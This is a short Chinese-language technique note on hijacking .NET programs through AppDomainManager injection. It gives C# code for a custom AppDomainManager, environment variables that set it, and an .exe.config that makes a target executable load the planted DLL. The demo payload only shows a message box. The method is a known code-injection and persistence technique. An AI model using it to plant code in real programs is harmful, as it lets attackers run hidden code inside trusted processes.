劫持.NET程序(AppDomainManager)
using System;
using System.Windows.Forms;
public sealed class MyAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
MessageBox.Show("AppDomainManager Injection");
return;
}
}
set APPDOMAIN_MANAGER_ASM=qwqdanchun, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager
寻找要注入的exe文件(此处示例使用qwqdanchun.exe),并将做好的dll与其置于同一目录,再将如下配置文件写入qwqdanchun.exe.config文件即可。
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/>
</startup>
<runtime>
<appDomainManagerAssembly value="qwqdanchun, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
<appDomainManagerType value="MyAppDomainManager" />
</runtime>
</configuration>